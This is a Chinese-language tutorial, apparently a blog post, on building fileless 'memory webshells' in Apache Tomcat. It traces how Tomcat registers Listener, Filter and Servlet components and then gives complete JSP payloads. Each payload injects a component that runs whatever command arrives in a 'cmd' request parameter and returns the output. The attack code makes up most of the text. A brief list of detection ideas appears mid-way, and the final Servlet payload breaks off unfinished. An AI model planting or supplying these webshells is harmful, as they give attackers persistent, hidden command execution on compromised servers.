Tomcat内存马
JavaWeb 基本流程
与php内存马不同的是,Java内存马并不是死循环创建文件的笨办法,但很类似,首先我们先来了解一下JavaWeb的基本组件。通常运行Java的web容器是tomcat,这里以tomcat为例,客户端与服务器(tomcat)交互流程如图所示:
客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。动态注册技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态注册添加内存马的方式适合Tomcat7.x以上版本。
按照shellcode的具体位置,就有
- listener内存马
- filter内存马
- Servlet内存马
- 等等
Listener型内存马
listenre顾名思义,监听某一事件的发生,状态改变等,监听器可以监听资源的b变化,简单说就是在 application
,session
,request
三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。
请求网站的时候,程序会先执行listener监听器的内容,tomcat三大组件执行顺序:Listener->Filter->Servlet。Listerner的优先级是相对比较高的,因此可以利用Listener组件注册内存马。Listener类型包括一下三种:
- ServletContextListener:服务器启动和终止时触发
- HttpSessionListener:有关Session操作时触发
- ServletRequestListener:访问服务时触发
最适合做内存马的当然是SercletRequestListener,只要访问服务或网络请求,都会触发监听器,从而执行ServletRequestListener#requestInitialized()
,接下来,我们在服务器后端写一个恶意监听器。
恶意Listener监听器
// src/main/java/Listener_memshell.java
package example.demo;
import jdk.nashorn.internal.ir.RuntimeNode;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
@WebListener
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 获取request请求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 获取response请求
// 获取参数
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 获得response响应
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();
// 执行命令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被执行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
}
}
访问任意路由都可触发命令执行。
当然,这是我们直接在服务器后端生成的Listener,在实际利用中我们不可能直接在服务器上添加Listener,大多数情况,我们都是先通过文件上传等方式获得任意代码执行的权限,之后通过执行代码的形式向服务器中添加Servlet,接下来我们详细介绍一下如何通过任意代码执行向服务器中植入Listener内存马。
动态注册Listener流程
在实际生活中,我们不可能直接将恶意Listener类部署到服务器上,因此我们需要找到服务器添加Listener的具体过程,手动调用添加Listener,从而注入内存马。在requestInitialized()
处下断点,查看其调用栈。
通过调用连可以发现,Tomcat在StandardContext#fireRequestInitEvent
处调用了我们的恶意Listener。
而恶意Listener存储在instances,由StandardContext#getApplicationEventListeners
获取,继续跟进StandardContext#getApplicationEventListeners
。
getApplicationEventListeners
调用applicationEventListenersList.toArray()
,而applicationEventListenersList
是定义在StandardContext
的私有数组,因此我们的目标就变成了如何在applicationEventListenersList
数组中添加我们的恶意Listener。
继续向下寻找,我们会找到StandardContext#addApplicationEventListener
方法,注释表明该方法用于添加一个监听器,由此可知,我们只需要获得一个StandardContext
对象,然后调用addApplicationEventListener
即可添加我们的恶意Listener。
现在,我们可以直到动态注册Listener内存马基本步骤了:
- 1.编写恶意Listener监听器。
- 2.获取StandardContext。
- 3.动态注册恶意Listener监听器。
构造Listener内存马
编写恶意Listener监听器
<%!
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 获取request请求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 获取参数
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 获得response响应
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();
// 执行命令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被执行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
}
}
%>
获得StandardContext对象
在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类,我们可以模仿其获取方法获取StandardContext
对象。
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
此外,还有一些其他方法获取StandardContext
对象。
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
动态注册Listener
// 添加恶意Listener
Listener_memshell listener_memshell = new Listener_memshell();
context.addApplicationEventListener(listener_memshell);
Listener内存马完整代码
根据上述三个步骤构建的payload如下所示。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 获取request请求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 获取参数
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 获得response响应
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();
// 执行命令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被执行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
}
}
%>
<%
// 获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 添加恶意Listener
Listener_memshell listener_memshell = new Listener_memshell();
context.addApplicationEventListener(listener_memshell);
%>
Filter内存马
基本原理
filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。其工作原理是,当web.xml注册了一个Filter来对某个Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。
**request:**用来封装请求数据的对象,获取请求数据。
- 浏览器会发送HTTP请求到JavaWeb服务器;
- 后台服务器会对HTTP中的数据解析并存入request对象中;
- 后续对请求的读取等操作,对将针对request对象进行操作
**response:**用来封装响应数据的对象,设置响应数据。
- 在HTTP处理结束后,业务处理的结果会存储到response对象中;
- 后台服务器通过读取response对象,重新拼接为HTTP响应数据,发送给用户。
接下来,我们介绍一下Filter内存马构建过程。与Listener内存马分析流程类似,我们先构建一个恶意的Filter过滤器,然后分析其加载过程,从而模拟加载Filter加载恶意Fiter内存马。
恶意Filter过滤器
// src/main/java/Filter_memshell.java
package example.demo;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
@WebFilter(filterName = "Filter_memshell",
urlPatterns = "/Login"
)
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 执行命令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被执行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
}
// 放行请求
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
访问/Login
即刻触发命令执行。
动态注册Filter流程
同样的,在Filter_memshell#doFilter
下断点,查看调用栈情况。
可以看到在ApplicationFilterChain#internalDoFilter
方法中,调用了filter.doFilter
,filter变量存储着我们的恶意Listener类,继续查看filter
如何生成的。
可以看到filter
是由filterConfig.getFilter
返回的,而filterConfig是filters数组元素,很明显ApplicationFilterChain#filters
数组存储的就是所有FilterConfig
的地方。
同时我们也可以发现ApplicationFilterChain#addFilter
,熟悉的感觉又来了,Listener也是这样的,我们只需要找一个ApplicationFilterChain
对象就行,Tomcat代码风格果然类似。
继续返回上一层,在StandardWrapperValue#invoke
中发现了filterChain.doFilter
调用,而filterChain
对象则是来自于ApplicationFilterFactory.createFilterChain
。
跟进ApplicationFilterFactory#createFilterChain
方法,发现filterChain
首先通过new ApplicationFilterChain()
创建一个空的filterChain
,之后获取StandardContext#FilterMaps
,FilterMaps
对象存储的是对象中存储的是各Filter的名称路径等信息,因此,我们需要构造一个恶意的FilterMap
对象。最终我们可以看到StandardContext#FilterMaps
是由StandardContext#addFilterMapBefore
和StandardContext#addFilterMap
写入的,但是吧StandardContext#addFilterMapBefore
是头插入方式,即插入的Filter排在循序表前部,更容易被遍历到,所以一般都选择StandardContext#addFilterMapBefore
进行插入。
最后遍历filterMaps
将符合条件的使用addFilter将filterConfig
添加至链上,而filterConfig是存储在context中的,因此我们还要构造ApplicationFilterConfig对象。
现在整个流程开始明朗了起来,动态注册Filter流程如下:
- 1.编写恶意Filter过滤器
- 2.获得StandardContex对象
- 3.构造ApplicationFilterConfig
- 4.构造恶意FilterMap
构建Filter内存马
编写恶意Filter过滤器
<%!
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 执行命令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被执行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
}
// 放行请求
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
获得StandardContext对象
StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
获取StandardContext实在是有多种方法(包括Listener内存马获取StandardContext),以后可能会统一整理一下,这里列举一二。
方法一
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
方法二
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
方法三
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
此方法在Tomcat 8 9是可用的,但是由于高版本tomcat把getResouces
返回值弄成null了,就没法用了,可以使用反射获取Resources,下面的代码懒得测试了,遇到再说。
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();
方法四
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
构造ApplicationFilterConfig
查看ApplicationFilterConfig的构造函数,发现除了需要context之外,还需要FilterDef对象,emmmm。
再次查看FilterDef
对象,可以看到FilterDef
对象中filter
、filterClass
、filterName
属性,分别对应web.xml中的filter标签。FilterDef
的作用主要为描述Filter名字与Filter 实例的关系。同时后面调用context.FilterMap
的时候会校验FilterDef
,所以我们需要先设置FilterDef
。
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
此外在StandardContext
中发现了addFilterDef
方法,获得StandardContext
看来确实必不可少。
创建FilterDef对象
// 创建FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef对象
standardContext.addFilterDef(filterDef);
创建ApplicationFIlterConfig对象
// 创建 ApplicationFilterConfig 对象
Constructor <?> [] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
constructor[0].setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor[0].newInstance(standardContext,filterDef);
构造恶意FilterMap
filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签。
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
// 创建filterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 调用standardContext#addFilterMapBefore添加FilterMap对象
standardContext.addFilterMapBefore(filterMap);
// // 调用FilterMaps#addBefore添加FilterMap对象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);
// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
动态注册Filter内存马
// 将filterConfig添加至filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 将filterConfig添加至filterConfigs数组
filterConfigs.put(filterName,filterConfig);
Filter内存马完整代码
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="example.demo.Filter_memshell" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.webresources.StandardRoot" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 执行命令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被执行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
return;
}
// 放行请求
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
<%
try {
String filterName = "filter_memshell";
// 获取ServletContext
ServletContext servletContext = request.getServletContext();
// 如果存在此filterName的Filter,则不在重复添加
if (servletContext.getFilterRegistration(filterName) == null){
// 获取StandardContext方法一
// Field reqF = request.getClass().getDeclaredField("request");
// reqF.setAccessible(true);
// Request req = (Request) reqF.get(request);
// StandardContext standardContext = (StandardContext) req.getContext();
// 获取StandardContext方法二
// 获取ApplicationContextFacade类
// ServletContext servletContext = request.getSession().getServletContext();
// // 反射获取ApplicationContextFacade类属性context为ApplicationContext类
// Field appContextField = servletContext.getClass().getDeclaredField("context");
// appContextField.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// // 反射获取ApplicationContext类属性context为StandardContext类
// Field standardContextField = applicationContext.getClass().getDeclaredField("context");
// standardContextField.setAccessible(true);
// StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 获取StandardContext方法三
// WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 获取StandardContext方法四
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
StandardContext standardContext = null;
while (standardContext == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
}
}
// 创建FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef对象
standardContext.addFilterDef(filterDef);
// 创建FilterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 调用standardContext#addFilterMapBefore添加FilterMap对象
standardContext.addFilterMapBefore(filterMap);
// // 调用FilterMaps#addBefore添加FilterMap对象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);
//
// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
// 获得filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 创建 ApplicationFilterConfig 对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 将filterConfig添加至filterConfigs数组
filterConfigs.put(filterName,filterConfig);
response.getWriter().println("Filter内存马添加成功");
}
} catch (Exception e){
response.getWriter().println(e.getMessage());
}
%>
在doFilter
中(代码第42行)有一个return,这是为了防止访问时出现404报错,由于Servlet没有这个路由网页,因此后端返回404,但此时doFilter是已经成功执行命令的,为了使其回显出来,因此添加了return,使得请求不通过Servlet直接返回。
Tomcat各版本对Filter内存马支持
首先之前构造的Filter型内存马是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType
类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。
且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
Filter内存马检测思路
- 检测带有特殊函数的filter名字
- filter优先级,filter内存马的优先级一般为最高
- 查看web.xml中有没有可疑的filter配置
- 检查特殊的classloader
- 检测classloader路径下没有class文件
- 检测Filter中的doFilter方法是否有恶意代码
- 如果是代码执⾏漏洞,排查中间件的 error.log,查看是否有可疑的报错,判断注⼊时间和⽅法
Servlet内存马
servlet是一种运行在服务器端的java应用程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。基本流程为:
- 客户端发送请求至服务器端;
- 服务器将请求信息发送至Servlet;
- Servlet生成响应信息并将其传给服务器。响应内容动态生成,通常取决于客户端的请求;
- 服务将响应返回给客户端。
恶意Servlet
在进行Servlet编写之前,我们先对手动生成一个恶意的Servlet,使用注解的方式手动在服务器后台添加Servlet。
// src/main/java/example/demo/Servlet_memshell.jsp
package example.demo;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "Servlet_memshell",
urlPatterns = "/servlet"
)
public class Servlet_memshell extends HttpServlet {
private String message;
public void init() {
message = "Servlet 命令执行输出:\n";
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
访问http://localhost:8080/servlet?cmd=whoami
,命令执行成功。此时我们获得了一个可以执行命令的Servlet。
动态注册Servlet流程
我们使用Listener监听servlet来了解servlet在tomcat中的建立过程,在contextInitialized
处下断点。
// src/main/java/example/demo/Listener_servlet
package example.demo;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class Listener_servlet implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
System.out.println("ServletContext对象创建了!");
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
System.out.println("ServletContext对象销毁了!");
}
}
进入StandardContext#startInternal
可以发现调用StandardContext#loadOnStartup
加载启动servlet。
跟进StandardContext#loadOnStartup
,发现loadOnStartup
中遍历传入children
参数,并判断loadOnStartup
,如果>=0,则放list
中,并使用wrapper.load()
进行加载。children
参数内容就是tomcat需要创建的servlet,这里我们可以看到tomcat自己创建的default
和jsp
servlet以及,我们自己创建的Servlet_memshell
servlet,Login
也是我们自己创建的,对Servlet内存马没有影响,这里可忽略
loadOnStartup
实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet的启动顺序0,正数的值越小,启动该servlet的优先级越高,默认值为-1,此时只有当Servlet被调用时才加载到内存中,loadOnStartup
在web.xml
中由<load-on-startup>1</load-on-startup>
标签指定。由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载。
继续查找children是从哪里保存的,既然能够生成我们所设置的servlet,那么一定读取了web.xml
。
经过查找在StandContext#startInternal
中,调用fireLifecycleEvent
进行配置。
在ContextConfig#configureStart
中发现调用了webConfig
配置。
最终在ContextConfig#webConfig
中发现contextWebXml
变量,可以看到其中存在web.xml
的物理路径。
继续向下执行,发现除了读取web.xml
外,同时合并了注解类型的配置,以及tomcat默认配置,最终存储在webXml
变量中,我们可以看到Login
是在web.xml
中进行配置的,Servlet_menshell
是通过注解配置的,而default
和jsp
是tomcat默认配置的,这就解释了tomcat为什么能够解析jsp代码,因为其中默认配置了jsp
的servlet。
最后进入ContextConfig#configureContext
应用配置,在configureContext
我们能够发现,应用servlet的具体步骤,同时在此处我们也可以了解到listener和filter组件应用的步骤。
public class ContextConfig implements LifecycleListener {
...
private void configureContext(WebXml webxml) {
...
for (ServletDef servlet : webxml.getServlets().values()) {
// 对每个Servlet创建wrapper
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored
// 设置LoadOnStartup属性
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
...
// 设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
// 设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
// 将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
}
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射。
构造Servlet内存马
通过对动态注册Servlet流程进行分析我们可以得到动态注册步骤步骤:
- 1.编写恶意
Servlet
类 - 2.获得
StandardContext
对象 - 3.通过
StandardContext.createWrapper()
创建StandardWrapper
对象。 - 4.设置
StandardWrapper
对象的loadOnStartup
属性值。 - 5.设置
StandardWrapper
对象的ServletName
属性值。 - 6.设置
StandardWrapper
对象的ServletClass
属性值。 - 7.将
StandardWrapper
对象添加进StandardContext
对象的children
属性中。 - 8.通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射。
编写恶意Servlet
类
<%!
public class Servlet_memshell extends HttpServlet {
private String message;
public void init() {
message = "Servlet 命令执行输出:\n";
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>
获得StandardContext对象
// 获得StandardContext
Field reqF=request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardCcontext = (StandardContext) req.getContext();
创建Wrapper
// 创建Wrapper
Servlet_memshell servlet_memshell = new Servlet_memshell();
Wrapper wrapper = standardCcontext.createWrapper();
设置Servlet属性
设置loadOnStartup属性
wrapper.setLoadOnStartup(1);
设置ServletName属性
wrapper.setName(name);
设置ServletClass属性
wrapper.setServlet(servlet_memshell);
动态注册Servlet
// 将Wrapper添加到StandardContext
standardCcontext.addChild(wrapper);
standardCcontext.addServletMappingDecoded("/servlet",name);
Servlet内存马完整代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%!
public class Servlet_memshell extends HttpServlet {
private String message;
public void init() {
message = "Servlet 命令执行输出:\n";
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}
